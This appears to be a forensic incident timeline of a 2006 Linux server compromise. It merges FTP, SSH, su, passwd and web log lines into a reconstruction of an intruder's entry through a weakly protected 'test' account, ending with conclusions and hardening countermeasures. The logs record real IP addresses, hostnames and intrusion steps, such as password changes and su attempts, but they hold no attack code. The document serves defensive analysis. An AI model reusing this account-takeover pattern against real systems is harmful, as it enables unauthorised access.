2006/03/09 14:57:33	82.79.137.28	*	vsftpd: Thu Mar  9 14:57:33 2006 [pid 5561] [test] OK LOGIN: Client 		"82.79.137.28"
2006/03/09 14:57:33	82.79.137.30	*	vsftpd: Thu Mar  9 14:57:33 2006 [pid 5563] [test] OK LOGIN: Client 		"82.79.137.30"
2006/03/09 15:01:29	82.79.137.30		30.metronetwork.rdsbz.ro - - [09/Mar/2006:15:01:29 +0100] "GET / HTTP/1.1" 200 1053 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)" "-"
2006/03/09 15:01:30	82.79.137.30		30.metronetwork.rdsbz.ro - - [09/Mar/2006:15:01:30 +0100] "GET /logowhite.png HTTP/1.1" 200 19801 "http://213.186.53.60/" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)" "-"
2006/03/09 15:01:34	82.79.137.6		Mar  9 15:01:34 localhost vsftpd: (pam_unix) authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=82.79.137.6
2006/03/09 15:01:36	82.79.137.6		vsftpd: Thu Mar  9 15:01:36 2006 [pid 5944] [anonymous] FAIL LOGIN: Client 	"82.79.137.6"
2006/03/09 15:01:37	82.79.137.27		Mar  9 15:01:37 localhost vsftpd: (pam_unix) authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=82.79.137.27
2006/03/09 15:01:39	82.79.137.27		vsftpd: Thu Mar  9 15:01:39 2006 [pid 5946] [anonymous] FAIL LOGIN: Client 	"82.79.137.27"
2006/03/09 15:01:45	82.79.137.18	*	vsftpd: Thu Mar  9 15:01:45 2006 [pid 5963] [test] OK LOGIN: Client 		"82.79.137.18"
2006/03/09 15:01:47	82.79.137.9	*	vsftpd: Thu Mar  9 15:01:47 2006 [pid 5967] [test] OK LOGIN: Client 		"82.79.137.9"
2006/03/09 15:02:07	82.79.137.20		20.metronetwork.rdsbz.ro - - [09/Mar/2006:15:02:07 +0100] "GET / HTTP/1.1" 200 1053 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)" "-"
2006/03/09 15:02:08	82.79.137.20		20.metronetwork.rdsbz.ro - - [09/Mar/2006:15:02:08 +0100] "GET /logowhite.png HTTP/1.1" 200 19801 "http://213.186.53.59/" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)" "-"
2006/03/09 15:02:35	82.79.137.18		18.metronetwork.rdsbz.ro - - [09/Mar/2006:15:02:35 +0100] "GET / HTTP/1.1" 200 1053 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)" "-"
2006/03/09 15:02:36	82.79.137.18		18.metronetwork.rdsbz.ro - - [09/Mar/2006:15:02:36 +0100] "GET /logowhite.png HTTP/1.1" 200 19801 "http://213.186.53.51/" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)" "-"


						ratibus  pts/2        82.233.38.20     Thu Mar 16 23:13 - 23:14  (00:00)
2006/03/17 00:12:32	193.230.222.209	*	Mar 17 00:12:32 localhost sshd[30299]: Accepted keyboard-interactive/pam for test from 193.230.222.209 port 3741 ssh2
2006/03/17 00:12:32	193.230.222.209	*	Mar 17 00:12:32 localhost sshd[30318]: (pam_unix) session opened for user test by (uid=0)
2006/03/17 00:12	193.230.222.209	*	test     pts/2        193.230.222.209  Fri Mar 17 00:12 - 00:30  (00:18)
2006/03/17 00:12:45	193.230.222.209	*!!	Mar 17 00:12:45 localhost passwd[30326]: (pam_unix) password changed for test
2006/03/17 00:12:45	193.230.222.209	*!!	Mar 17 00:12:45 localhost passwd[30326]: (pam_unix) Password for test was changed
2006/03/17 00:15:35	193.230.222.209	*	Mar 17 00:15:35 localhost sshd[30439]: Accepted keyboard-interactive/pam for test from 193.230.222.209 port 3744 ssh2
2006/03/17 00:15:35	193.230.222.209	*	Mar 17 00:15:35 localhost sshd[30454]: (pam_unix) session opened for user test by (uid=0)
2006/03/17 00:15	193.230.222.209	*	test     pts/3        193.230.222.209  Fri Mar 17 00:15 - 00:15  (00:00)
2006/03/17 00:15:52	193.230.222.209	*	Mar 17 00:15:52 localhost sshd[30454]: (pam_unix) session closed for user test
2006/03/17 00:17:28	193.230.222.209	*.	Mar 17 00:17:28 localhost su[30537]: (pam_unix) authentication failure; logname=test uid=1024 euid=0 tty=pts/2 ruser=test rhost=  user=vinoj
2006/03/17 00:17:30	193.230.222.209	*.	Mar 17 00:17:30 localhost su[30537]: pam_authenticate: Authentication failure
2006/03/17 00:17:30	193.230.222.209	*.	Mar 17 00:17:30 localhost su[30537]: - pts/2 test:vinoj
2006/03/17 00:17:36	193.230.222.209	*.	Mar 17 00:17:36 localhost su[30547]: (pam_unix) authentication failure; logname=test uid=1024 euid=0 tty=pts/2 ruser=test rhost=  user=vinoj
2006/03/17 00:17:38	193.230.222.209	*.	Mar 17 00:17:38 localhost su[30547]: pam_authenticate: Authentication failure
2006/03/17 00:17:38	193.230.222.209	*.	Mar 17 00:17:38 localhost su[30547]: - pts/2 test:vinoj
2006/03/17 00:18:42	193.230.222.209	.*	Mar 17 00:18:42 localhost sshd[30594]: (pam_unix) authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=209-nat.s-man.net  user=croulants
2006/03/17 00:18:45	193.230.222.209	.*	Mar 17 00:18:45 localhost sshd[30591]: error: PAM: Authentication failure for croulants from 209-nat.s-man.net
2006/03/17 00:18:51	193.230.222.209	.*	Mar 17 00:18:51 localhost sshd[30591]: error: PAM: Authentication failure for croulants from 209-nat.s-man.net
2006/03/17 00:18:59	193.230.222.209	.*	Mar 17 00:18:59 localhost sshd[30591]: error: PAM: Have exhasted maximum number of retries for service. for croulants from 209-nat.s-man.net
2006/03/17 00:19:10	193.230.222.209	.*	Mar 17 00:19:10 localhost sshd[30591]: error: PAM: Have exhasted maximum number of retries for service. for croulants from 209-nat.s-man.net
2006/03/17 00:19:10	193.230.222.209	.*	Mar 17 00:19:10 localhost sshd[30591]: Failed keyboard-interactive/pam for croulants from 193.230.222.209 port 3753 ssh2
2006/03/17 00:19:50	193.230.222.209	*.	Mar 17 00:19:50 localhost su[30638]: (pam_unix) authentication failure; logname=test uid=1024 euid=0 tty=pts/2 ruser=test rhost=  user=trollingsecours
2006/03/17 00:19:52	193.230.222.209	*.	Mar 17 00:19:52 localhost su[30638]: pam_authenticate: Authentication failure
2006/03/17 00:19:52	193.230.222.209	*.	Mar 17 00:19:52 localhost su[30638]: - pts/2 test:trollingsecours
2006/03/17 00:19:57	193.230.222.209	*.	Mar 17 00:19:57 localhost su[30643]: (pam_unix) authentication failure; logname=test uid=1024 euid=0 tty=pts/2 ruser=test rhost=  user=trollingsecours
2006/03/17 00:19:59	193.230.222.209	*.	Mar 17 00:19:59 localhost su[30643]: pam_authenticate: Authentication failure
2006/03/17 00:19:59	193.230.222.209	*.	Mar 17 00:19:59 localhost su[30643]: - pts/2 test:trollingsecours
2006/03/17 00:20:04	193.230.222.209	*.	Mar 17 00:20:04 localhost su[30644]: (pam_unix) authentication failure; logname=test uid=1024 euid=0 tty=pts/2 ruser=test rhost=  user=trollingsecours
2006/03/17 00:20:06	193.230.222.209	*.	Mar 17 00:20:06 localhost su[30644]: pam_authenticate: Authentication failure
2006/03/17 00:20:06	193.230.222.209	*.	Mar 17 00:20:06 localhost su[30644]: - pts/2 test:trollingsecours
2006/03/17 00:26:26	193.230.222.253		193.230.222.253 - - [17/Mar/2006:00:26:26 +0100] "GET / HTTP/1.0" 200 1053 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7" "-"
2006/03/17 00:26:27	193.230.222.253		193.230.222.253 - - [17/Mar/2006:00:26:27 +0100] "GET /logowhite.png HTTP/1.0" 200 19801 "http://213.186.53.59/" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7" "-"
2006/03/17 00:26:28	193.230.222.253		193.230.222.253 - - [17/Mar/2006:00:26:28 +0100] "GET /favicon.ico HTTP/1.0" 404 275 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7" "-"
2006/03/17 00:28:33	193.230.222.209	*	Mar 17 00:28:33 localhost sshd[31078]: Accepted keyboard-interactive/pam for test from 193.230.222.209 port 3788 ssh2
2006/03/17 00:28:33	193.230.222.209	*	Mar 17 00:28:33 localhost sshd[31107]: (pam_unix) session opened for user test by (uid=0)
2006/03/17 00:28	193.230.222.209	*	test     pts/4        193.230.222.209  Fri Mar 17 00:28 - 00:30  (00:01)
2006/03/17 00:28:40	193.230.222.209	*!	Mar 17 06 00:28:40        0 ..c crw--w---- test     tty      /dev/pts/5
2006/03/17 00:29:02	193.230.222.209	*!	Mar 17 06 00:29:02        0 .a. crw--w---- test     tty      /dev/pts/5
2006/03/17 00:30:31	193.230.222.209	*	Mar 17 00:30:31 localhost sshd[31107]: (pam_unix) session closed for user test
2006/03/17 00:30:33	193.230.222.209	*	Mar 17 00:30:33 localhost sshd[30318]: (pam_unix) session closed for user test
						Mar 17 06 06:35:02        0 m.c prw-r----- root     adm      /dev/xconsole

2006/03/17 09:00:52	193.230.222.209	*	Mar 17 09:00:52 localhost sshd[25229]: Accepted keyboard-interactive/pam for test from 193.230.222.209 port 3050 ssh2
2006/03/17 09:00:52	193.230.222.209	*	Mar 17 09:00:52 localhost sshd[25263]: (pam_unix) session opened for user test by (uid=0)
2006/03/17 09:00	193.230.222.209	*	test     pts/4        193.230.222.209  Fri Mar 17 09:00 - 09:38  (00:37)
2006/03/17 09:03:43	193.230.222.209	*!	Mar 17 06 09:03:43        0 ..c crw--w---- test     tty      /dev/pts/6
2006/03/17 09:03:58	193.230.222.209	*!	Mar 17 06 09:03:58        0 .a. crw--w---- test     tty      /dev/pts/6
2006/03/17 09:38:33	193.230.222.209	*	Mar 17 09:38:33 localhost sshd[25263]: (pam_unix) session closed for user test

2006/03/17 12:19:43	193.230.222.209	*	Mar 17 12:19:43 localhost sshd[14815]: Accepted keyboard-interactive/pam for test from 193.230.222.209 port 3222 ssh2
2006/03/17 12:19:43	193.230.222.209	*	Mar 17 12:19:43 localhost sshd[14834]: (pam_unix) session opened for user test by (uid=0)
2006/03/17 12:19	193.230.222.209	*	test     pts/3        193.230.222.209  Fri Mar 17 12:19 - 14:25  (02:05)
2006/03/17 12:26:01	193.230.222.209	*	Mar 17 12:26:01 localhost sshd[15484]: Accepted keyboard-interactive/pam for test from 193.230.222.209 port 3338 ssh2
2006/03/17 12:26:01	193.230.222.209	*	Mar 17 12:26:01 localhost sshd[15511]: (pam_unix) session opened for user test by (uid=0)
2006/03/17 12:26	193.230.222.209	*	test     pts/4        193.230.222.209  Fri Mar 17 12:26 - 14:30  (02:04)
2006/03/17 12:32:44	193.230.222.209	*	Mar 17 12:32:44 localhost sshd[16030]: Accepted keyboard-interactive/pam for test from 193.230.222.209 port 3353 ssh2
2006/03/17 12:32:44	193.230.222.209	*	Mar 17 12:32:44 localhost sshd[16037]: (pam_unix) session opened for user test by (uid=0)
2006/03/17 12:32	193.230.222.209	*	test     pts/7        193.230.222.209  Fri Mar 17 12:32 - 16:26  (03:53)
2006/03/17 14:25:38	193.230.222.209	*	Mar 17 14:25:38 localhost sshd[14834]: (pam_unix) session closed for user test
2006/03/17 14:30:58	193.230.222.209	*	Mar 17 14:30:58 localhost sshd[15511]: (pam_unix) session closed for user test
2006/03/17 14:36:43	193.230.222.209	*	Mar 17 14:36:43 localhost sshd[585]: Accepted keyboard-interactive/pam for test from 193.230.222.209 port 3934 ssh2
2006/03/17 14:36:43	193.230.222.209	*	Mar 17 14:36:43 localhost sshd[671]: (pam_unix) session opened for user test by (uid=0)
2006/03/17 14:36	193.230.222.209	*	test     pts/3        193.230.222.209  Fri Mar 17 14:36 - 16:49  (02:12)
2006/03/17 14:59:56	193.230.222.209	*	Mar 17 14:59:56 localhost sshd[5706]: Accepted keyboard-interactive/pam for test from 193.230.222.209 port 4025 ssh2
2006/03/17 14:59:56	193.230.222.209	*	Mar 17 14:59:56 localhost sshd[5714]: (pam_unix) session opened for user test by (uid=0)
2006/03/17 15:00	193.230.222.209	*	test     pts/4        193.230.222.209  Fri Mar 17 15:00 - 17:12  (02:12)
2006/03/17 15:03:26	193.230.222.209	*	Mar 17 15:03:26 localhost sshd[6092]: Accepted keyboard-interactive/pam for test from 193.230.222.209 port 4027 ssh2
2006/03/17 15:03:26	193.230.222.209	*	Mar 17 15:03:26 localhost sshd[6171]: (pam_unix) session opened for user test by (uid=0)
2006/03/17 15:03	193.230.222.209	*	test     pts/8        193.230.222.209  Fri Mar 17 15:03 - 15:14  (00:10)
2006/03/17 15:14:06	193.230.222.209	*	Mar 17 15:14:06 localhost sshd[6171]: (pam_unix) session closed for user test
2006/03/17 16:26:40	193.230.222.209	*	Mar 17 16:26:40 localhost sshd[16037]: (pam_unix) session closed for user test
2006/03/17 16:49:15	193.230.222.209	*	Mar 17 16:49:15 localhost sshd[671]: (pam_unix) session closed for user test
2006/03/17 17:12:46	193.230.222.209	*	Mar 17 17:12:46 localhost sshd[5714]: (pam_unix) session closed for user test
2006/03/17 17:18			#	## First mails blocked... no contact outside is possible via the default IP source
						Mar 17 19:30:39 localhost sshd[1425]: Accepted keyboard-interactive/pam for skycode from 213.49.238.76 port 1087 ssh2
						skycode  pts/3        213.49.238.76    Fri Mar 17 19:30   still logged in
						Mar 17 06 19:30:39        0 ..c crw--w---- skycode  tty      /dev/pts/3
						Mar 17 19:30:50 localhost sudo:  skycode : TTY=pts/3 ; PWD=/home/skycode ; USER=root ; COMMAND=/bin/bash
						Mar 17 19:33:45 localhost sshd[2170]: Accepted keyboard-interactive/pam for skycode from 213.49.238.76 port 1089 ssh2
						skycode  pts/4        213.49.238.76    Fri Mar 17 19:33   still logged in
						Mar 17 06 19:33:45        0 ..c crw--w---- skycode  tty      /dev/pts/4
						Mar 17 19:34:41 localhost sudo:  skycode : TTY=pts/4 ; PWD=/home ; USER=root ; COMMAND=/bin/bash
2006/03/17 19:37:19			 !	Mar 17 19:37:19 localhost su[2642]: + pts/4 root:test
						Mar 17 06 19:38:16        0 ..c crw--w---- root     tty      /dev/pts/7
2006/03/17 19:39:21			 !!	Mar 17 06 19:39:21     2467 m.c -rw-r----- root     shadow   /etc/shadow		= test:$ passwd?
2006/03/17 19:39:21			 !!	Mar 17 19:39:21 localhost passwd[2713]: (pam_unix) password changed for test
2006/03/17 19:39:21			 !!	Mar 17 19:39:21 localhost passwd[2713]: (pam_unix) Password for test was changed
2006/03/17 19:40:12			 !	Mar 17 19:40:12 localhost su[2763]: + pts/3 root:test

2006/03/17 19:40:19			 !	Mar 17 06 19:40:19     4096 m.. drwxr-xr-x test     test     /home/test
2006/03/17 19:40:19			 !	                       4096 m.. drwx------ test     test     /home/test/.mc/cedit	= test:$ mc?
2006/03/17 19:40:25			 !	Mar 17 06 19:40:25        0 m.. -rw-r--r-- test     test     /home/test/.mc/history	but test not loggued normally
2006/03/17 19:40:25			 !	                         35 m.. -rw-r--r-- test     test     /home/test/.mc/Tree	or via ./go??
2006/03/17 19:40:25			 !	                       4096 m.. drwxr-xr-x test     test     /home/test/.mc
2006/03/17 19:40:25			 !	                         32 m.. -rw-r--r-- test     test     /home/test/.mc/filepos
						=> /tmp/crontab.Hq7als/crontab 1;0
						=> correspond to crontab -e in .bash_history?...
2006/03/17 19:40:25			 !	                       1945 m.. -rw-r--r-- test     test     /home/test/.mc/ini
2006/03/17 19:40:31			 !	Mar 17 06 19:40:31     2117 m.. -rw------- test     test     /home/test/.bash_history
						phil     pts/8        85.234.194.12    Fri Mar 17 20:08 - 20:19  (00:11)
						phil     pts/8        85.234.194.12    Fri Mar 17 20:20   still logged in
						phil     pts/14       85.234.194.12    Fri Mar 17 21:14   still logged in
						skycode  pts/15       213.49.238.76    Fri Mar 17 21:39   still logged in
						Mar 17 06 21:05:08        0 m.. crw--w---- root     tty      /dev/pts/12
						                          0 m.. crw------- phil     tty      /dev/pts/8
						Mar 17 06 21:05:09        0 m.. crw--w---- test     tty      /dev/pts/5
						Mar 17 06 21:05:10        0 ma. crw-rw-rw- root     tty      /dev/ptmx
						                          0 m.. crw--w---- test     tty      /dev/pts/6
						                          0 .a. crw------- phil     tty      /dev/pts/8
						                          0 .a. crw-rw-rw- root     tty      /dev/tty
2006/03/17 21:10:59			 #	user.log: Mar 17 21:10:59 localhost rpc.mountd: export request from 127.0.0.1
2006/03/17 21:10:59			 #	user.log: Mar 17 21:10:59 localhost rpc.mountd: dump request from 127.0.0.1
2006/03/17 21:28:56			 #	Mar 17 21:28:56 localhost -- MARK --
2006/03/17 21:30:03			 #	last occurence of 20060317 213003 start /sbin/modprobe -s -k -- net-pf-10 safemode=0
2006/03/17 21:30:03			 #	last occurence of 20060317 213003 probe ended
2006/03/17 21:45:04			 #	Mar 17 21:45:04 localhost snmpd[1467]: Connection from 127.0.0.1
2006/03/17 21:45:04			 #	Mar 17 21:45:04 localhost last message repeated 3 times
2006/03/17 21:48:56			 #	## No MARK at 21:48:56
2006/03/17 21:50:05			 #	Mar 17 21:50:05 localhost snmpd[1467]: Connection from 127.0.0.1
2006/03/17 21:55			 #	## No snmp at 21:55

TODO:
=====
ftp repository of test??
/var/cache/tct

Conclusions

  • Initial breach
    • automatic tool scanning ftp accounts could enter with the 'test' account
    • manual attempt to log in with the 'test' account
    • download over of sniffers and brute-force tools for ssh
    • transfers over ftp
    • change test password
    • 82.79.137.NN = NN.metronetwork.rdsbz.ro
    • 193.230.222.209 = 209-nat.s-man.net
  • Counter-measures
    • don't use dummy passwords ;-)
    • don't grant ftp/ssh rights per default
      sshd: make use of the "AllowUsers" keyword and explicitely add users when needed
    • don't grant internet access per default
      iptables: cf --uid-owner and other --XXX-owner options
      on OUTPUT table to avoid download of malicious code
      on INPUT table to avoid bindshells
  • Timeline
    • Before and during the live forensic analysis we should have written down our own actions and the observable elements rather that having to deduce them from the logs.